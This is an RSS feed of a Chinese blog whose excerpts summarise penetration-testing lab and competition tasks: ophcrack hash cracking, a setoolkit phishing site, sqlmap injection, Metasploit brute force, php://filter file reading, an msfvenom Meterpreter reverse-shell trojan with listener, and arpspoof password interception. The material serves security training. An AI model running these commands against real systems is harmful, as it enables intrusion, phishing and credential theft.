<?xml version="1.0" encoding="utf-8" ?><rss version="2.0"><channel><title><![CDATA[m0_58713554的博客]]></title><description><![CDATA[]]></description><link>https://blog.youkuaiyun.com/m0_58713554</link><language>zh-cn</language><generator>https://blog.youkuaiyun.com/</generator><copyright><![CDATA[Copyright &copy; m0_58713554]]></copyright><item><title><![CDATA[Windows操作系统渗透测试]]></title><link>https://blog.youkuaiyun.com/m0_58713554/article/details/129795476</link><guid>https://blog.youkuaiyun.com/m0_58713554/article/details/129795476</guid><author>m0_58713554</author><pubDate>Mon, 27 Mar 2023 15:20:15 +0800</pubDate><description><![CDATA[点击Tables 选择free small 点击install 选择root 找到自己的123文件点击OK。另外开启一个命令行远程连接 rdesktop ip -u 用户名 -p 密码。将得到的管理员的hash值，导入到ophcrack（彩虹表）进行破解。5.将系统最高权限管理员账户的密码作为Flag值提交。点击Load 点击Single hash 粘贴哈希值。Show options(查看配置参数)map -sV -sS  靶机ip。设置完毕后退出，开启远程桌面命令。点击OK 后点击Crack进行破。]]></description><category></category></item><item><title><![CDATA[kali制作钓鱼网站]]></title><link>https://blog.youkuaiyun.com/m0_58713554/article/details/122178051</link><guid>https://blog.youkuaiyun.com/m0_58713554/article/details/122178051</guid><author>m0_58713554</author><pubDate>Mon, 27 Dec 2021 18:31:51 +0800</pubDate><description><![CDATA[设置攻击方Kali Linux主机的网络连接模式为桥接模式，如下图所示。

 步骤：选择设置/选择网络适配器/选择桥接模式/选择确定





选择图形化界面打开工具setoolkit（钓鱼网站部署工具），如下图所示。

步骤：选择13-Social Engineering toolkit/选择social engineering toolkit工具/双击打开/初次进入需要输入y





选择命令行界面打开工具setoolkit（钓鱼网站部署工具），如下图所示。

 命令：setoolkit
...]]></description><category></category></item><item><title><![CDATA[kali基本常用命令]]></title><link>https://blog.youkuaiyun.com/m0_58713554/article/details/122178025</link><guid>https://blog.youkuaiyun.com/m0_58713554/article/details/122178025</guid><author>m0_58713554</author><pubDate>Mon, 27 Dec 2021 18:25:05 +0800</pubDate><description><![CDATA[显示当前所在的路径 pwd

进入某文件夹  cd 文件夹名

kali桌面路径  /root/Desktop/ 桌面也是在某一个文件夹下

返回上一级目录  cd+两个点 (cd与…之间有空格) cd / 则返回根目录

新建文件  touch 文件名 touch a b 表示建立两个文件夹：a和b

查看目录下的内容 ls 加 -l 参数可以显示内容详细信息

新建文件夹  ...]]></description><category></category></item><item><title><![CDATA[web渗透测测试（sqlmap）]]></title><link>https://blog.youkuaiyun.com/m0_58713554/article/details/122120294</link><guid>https://blog.youkuaiyun.com/m0_58713554/article/details/122120294</guid><author>m0_58713554</author><pubDate>Fri, 24 Dec 2021 07:57:04 +0800</pubDate><description><![CDATA[通过分析靶机JLS02页面信息，寻找漏洞页面，将WEB服务存在SQL注入漏洞的页面名称作为Flag提交
	
Flag:index2.php

通过本地PC中的渗透测试平台KALI2020对靶机进行SQL注入攻击，获取靶机的数据库信息，将用来存放WEB服务的数据库名称作为FLAG提交



先随便输入点什么 sqlmap这个地址

sqlmap

使用注入语句结果如下



flag:webiu

3. 通过本地PC中的渗透测试平台KALI2020对靶机进行SQL注入攻击，获取靶机的数据库信息，将用...]]></description><category></category></item><item><title><![CDATA[Linux系统提权渗透测试]]></title><link>https://blog.youkuaiyun.com/m0_58713554/article/details/122083134</link><guid>https://blog.youkuaiyun.com/m0_58713554/article/details/122083134</guid><author>m0_58713554</author><pubDate>Wed, 22 Dec 2021 12:47:12 +0800</pubDate><description><![CDATA[通过渗透测试平台对服务器场景CentOS5.5，使用nmap进行服务扫描渗透测试，并将扫描结果上数第6行的4个单词作为Flag（形式：单词1|单词2|单词3|单词4）提交

Nmap -sV 扫描靶机服务



Nmap -sV 扫描靶机服务

Flag：PORT|STATE|SERVICE|VERSION

通过渗透测试平台对服务器场景CentOS5.5，使用metaspolit进行远程超级管理员口令暴力破解（使用的渗透测试平台中的字典文件superdic.txt），并将破解结果Success:后面2个空]]></description><category></category></item><item><title><![CDATA[Sql注入点攻击]]></title><link>https://blog.youkuaiyun.com/m0_58713554/article/details/122083005</link><guid>https://blog.youkuaiyun.com/m0_58713554/article/details/122083005</guid><author>m0_58713554</author><pubDate>Wed, 22 Dec 2021 12:41:33 +0800</pubDate><description><![CDATA[访问WebServ2003服务器场景，"/"-&gt;" Display Uploaded's File Content"，分析该页面源程序，找到提交的变量名，并将该变量名作为Flag（形式：name=“变量名”）提交；

访问后利用万能用户名进入场景





进入后查看网页源代码查看变量名



Flag:name="filename"

对该任务第一题页面注入点进行渗透测试，通过php://filter协议使当前页面以Base64编码方式回显WebServ2003服务器场景访问日志文件：AppServ]]></description><category></category></item><item><title><![CDATA[Metasploit(msf)木马生成]]></title><link>https://blog.youkuaiyun.com/m0_58713554/article/details/121134574</link><guid>https://blog.youkuaiyun.com/m0_58713554/article/details/121134574</guid><author>m0_58713554</author><pubDate>Thu, 04 Nov 2021 07:38:39 +0800</pubDate><description><![CDATA[msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻击端ip LPORT=1234 -f exe &gt; /root/新建文件的文件名.exe



2 ls 查看是否创建出了该文件



3 然后进入msfconsole进行监听



4 use exploit/multi/handler 进入监听模式



5 set PAYLOAD

set LHOST攻击机ip

set LPORT 配置参数





6 run 运行



7 把刚...]]></description><category></category></item><item><title><![CDATA[欺骗攻击（密码劫持）]]></title><link>https://blog.youkuaiyun.com/m0_58713554/article/details/121134556</link><guid>https://blog.youkuaiyun.com/m0_58713554/article/details/121134556</guid><author>m0_58713554</author><pubDate>Thu, 04 Nov 2021 07:29:06 +0800</pubDate><description><![CDATA[需要知道目标IP，目标网关，本机网卡，本机IP

打开kali终端输入命令：

echo1 &gt;/proc/sys/net/ipv4/ip_forward

使目标不断网

cat /proc/sys/net/ipv4/ip_forward

检查上述命令是否被执行，若返回1则说明已被执行

arpspoof -i 本机网卡 -t 目标IP目标网关

在本列中命令为:

arpspoof -i eth0 -t 192.168.0.120 192.168.0.1



另一个终端用来接收劫持（盗取的信息）]]></description><category></category></item></channel></rss>